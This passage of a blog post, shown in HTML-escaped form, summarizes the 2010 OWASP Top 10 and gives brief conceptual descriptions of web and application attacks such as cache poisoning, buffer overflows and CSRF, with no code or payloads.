&lt;div style=&quot;border-bottom: solid #4F81BD 1.0pt; border: none; mso-border-bottom-themecolor: accent1; mso-element: para-border-div; padding: 0in 0in 4.0pt 0in;&quot;&gt;
&lt;div class=&quot;MsoTitle&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This blog post summarizes the
attacks described in OWASP and is a continuation of the security series of blog
posts.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h1&gt;



OWASP Top 10
Application Security Risks - 2010&lt;o:p&gt;&lt;/o:p&gt;&lt;/h1&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Top_10_2010-A1&quot; title=&quot;Top 10 2010-A1&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;A1-Injection&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Top_10_2010-A2&quot; title=&quot;Top 10 2010-A2&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;A2-Cross Site Scripting (XSS)&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Top_10_2010-A3&quot; title=&quot;Top 10 2010-A3&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;A3-Broken Authentication and Session Management&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Top_10_2010-A4&quot; title=&quot;Top 10 2010-A4&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;A4-Insecure Direct Object References&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Top_10_2010-A5&quot; title=&quot;Top 10 2010-A5&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;A5-Cross Site Request Forgery (CSRF)&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Top_10_2010-A6&quot; title=&quot;Top 10 2010-A6&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;A6-Security Misconfiguration&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Top_10_2010-A7&quot; title=&quot;Top 10 2010-A7&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;A7-Insecure Cryptographic Storage&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Top_10_2010-A8&quot; title=&quot;Top 10 2010-A8&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;A8-Failure to Restrict URL Access&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Top_10_2010-A9&quot; title=&quot;Top 10 2010-A9&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;A9-Insufficient Transport Layer Protection&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Top_10_2010-A10&quot; title=&quot;Top 10 2010-A10&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;A10-Unvalidated Redirects and Forwards&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;h1&gt;



Attacks&lt;o:p&gt;&lt;/o:p&gt;&lt;/h1&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Attacks are the
techniques that attackers use to exploit the vulnerabilities in
applications.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Anatomy of an Attack&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Survey and assess&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Exploit and penetrate&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Escalate privileges&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Maintain access&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Deny service&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;



Threats&lt;o:p&gt;&lt;/o:p&gt;&lt;/h1&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Top network level threats include:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Information gathering&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Sniffing&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Spoofing&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Session hijacking&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Denial of service&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Top host level threats include:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Viruses, Trojan horses, and worms&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Footprinting (&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;ping sweep,
     NETBIOS enumeration&lt;/span&gt;).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Profiling&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Password cracking&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Denial of service&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Arbitrary code execution&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Unauthorized access&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;For details on categorizing threats,
please refer Appendix A in the blog post on&amp;nbsp;&lt;u&gt;&lt;span style=&quot;color: red;&quot;&gt;&quot;&amp;lt;TODO&amp;gt;Information
security, threats, risks&quot;&lt;/span&gt;&lt;/u&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The below is a
summary of the known attacks in their respective categories:&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h1&gt;



Abuse of
Functionality&lt;o:p&gt;&lt;/o:p&gt;&lt;/h1&gt;
&lt;h2&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;Account
lockout attack&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Attacker attempts
to lock out all user accounts, typically by failing login more times than the
threshold defined by the authentication system&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;&amp;nbsp;Cache
Poisoning&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This attack is
rather difficult to carry out in a real environment.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The list of conditions is long and hard to accomplish by the
attacker. However it&#39;s easier to use this technique than&amp;nbsp;&lt;a href=&quot;https://www.owasp.org/index.php/Cross-User_Defacement&quot; title=&quot;Cross-User Defacement&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;Cross-User Defacement&lt;/span&gt;&lt;/a&gt;.
&lt;span style=&quot;background-color: white;&quot;&gt;To successfully carry out such an attack, an
attacker:&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 1.2pt; mso-list: l13 level1 lfo4; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Finds the vulnerable service
     code, which allows them to fill the HTTP header field with many headers.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 1.2pt; mso-list: l13 level1 lfo4; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Forces the cache server to
     flush its actual cache content, which we want to be cached by the servers.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 1.2pt; mso-list: l13 level1 lfo4; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Sends a specially crafted
     request, which will be stored in cache.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 1.2pt; mso-list: l13 level1 lfo4; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Sends the next request. The
     previously injected content stored in cache will be the response to this
     request.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;A Cache Poisoning attack is possible
because of&amp;nbsp;&lt;a href=&quot;https://www.owasp.org/index.php/HTTP_Response_Splitting&quot; title=&quot;HTTP Response Splitting&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;HTTP Response
Splitting&lt;/span&gt;&lt;/a&gt;&amp;nbsp;and flaws in the web application. It is crucial from
the attacker&#39;s point of view that the application allows for filling the header
field with more than one header using CR (Carriage Return) and LF (Line Feed)
characters.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



Cross-User Deface&lt;span class=&quot;Heading2Char&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;ment&lt;/span&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This attack is rather difficult to
carry out in the real environment.&amp;nbsp;An attacker can make a single request
to a vulnerable server that will cause the sever to create two responses, the
second of which may be misinterpreted as a response to a different request,
possibly one made by another user sharing the same TCP connection with the
sever.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



Mobile code:
invoking untrusted mobile code&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&amp;nbsp;By intercepting client traffic
using the&amp;nbsp;&lt;a href=&quot;https://www.owasp.org/index.php/Man-in-the-middle_attack&quot; title=&quot;Man-in-the-middle attack&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;man-in-the-middle&lt;/span&gt;&lt;/a&gt;&amp;nbsp;technique,
a malicious user could modify the original mobile code with arbitrary
operations that will be executed on the client’s machine under his credentials.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;i&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;To solve this issue, it’s necessary
to use some type of integrity mechanism to assure that the mobile code has not
been modified.&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



Mobile code:
non-final public field&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This attack aims to manipulate non-final public variables
used in mobile code, by injecting malicious values on it, mostly in Java and
C++ applications.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;When a public member variable or class used in mobile code
isn’t declared as final, its values can be maliciously manipulated by any
function that has access to it in order to extend the application code or
acquire critical information about the application.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



Mobile code: object
hijack&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This attack consists of a technique to create objects
without constructors’ methods by taking advantage of the clone() method of
Java-based applications.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;If a certain class implements cloneable() method declared as
public, but doesn’t has a public constructor method nor is declared as final,
it is possible to extend it into a new class and create objects using the
clone() method.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h1&gt;



Data Structure
Attacks&lt;o:p&gt;&lt;/o:p&gt;&lt;/h1&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



Buffer overflow
attack&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Buffer overflow errors are characterized by the overwriting
of memory fragments of the process, which should have never been modified
intentionally or unintentionally. Overwriting values of the IP (Instruction
Pointer), BP (Base Pointer) and other registers causes exceptions, segmentation
faults, and other errors to occur. Usually these errors end execution of the
application in an unexpected way. Buffer overflow errors occur when we operate
on buffers of char type.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



Buffer Overflow via
Environment Variables&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Same as above except used with Env vars.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



Overflow Binary
Resource File&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The source of a buffer overflow may be input data. When it
comes from the Overflow Binary Resource File, the attacker has to
modify/prepare the binary file in such a way that the application, after
reading this file, has become prone to a classic&amp;nbsp;&lt;a href=&quot;https://www.owasp.org/index.php/Buffer_overflow_attack&quot; title=&quot;Buffer overflow attack&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;Buffer overflow
attack&lt;/span&gt;&lt;/a&gt;. The only difference between this attack and the classic one
is the source of the input data. Common examples are specially crafted MP3,
JPEG or ANI files, which cause buffer overflows.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h1&gt;



Embedded Malicious
Code&lt;o:p&gt;&lt;/o:p&gt;&lt;/h1&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



Cross-Site Request
Forgery (CSRF) or &lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt; line-height: 115%;&quot;&gt;One-Click
Attack or XSRF&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;CSRF is an attack which forces an end user
to execute unwanted actions on a web application in which he/she is currently
authenticated. With a little help of social engineering (like sending a link
via email/chat), an attacker may force the users of a web application to
execute actions of the attacker&#39;s choosing. A successful CSRF exploit can
compromise end user data and operation in case of normal user. If the targeted
end user is the administrator account, this can compromise the entire web
application.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Sometimes, it is possible to store the CSRF
attack on the vulnerable site itself. Such vulnerabilities are called Stored
CSRF flaws. This can be accomplished by simply storing an IMG or IFRAME tag in
a field that accepts HTML, or by a more complex cross-site scripting attack. If
the attack can store a CSRF attack in the site, the severity of the attack is
amplified.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;These are also known by a number of other
names, including XSRF, &quot;Sea Surf&quot;, Session Riding, Cross-Site
Reference Forgery, Hostile Linking. Microsoft refers to this type of attack as
a One-Click attack&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



Logic/time bomb&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This is a&amp;nbsp;&lt;b&gt;threat agent&lt;/b&gt;.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



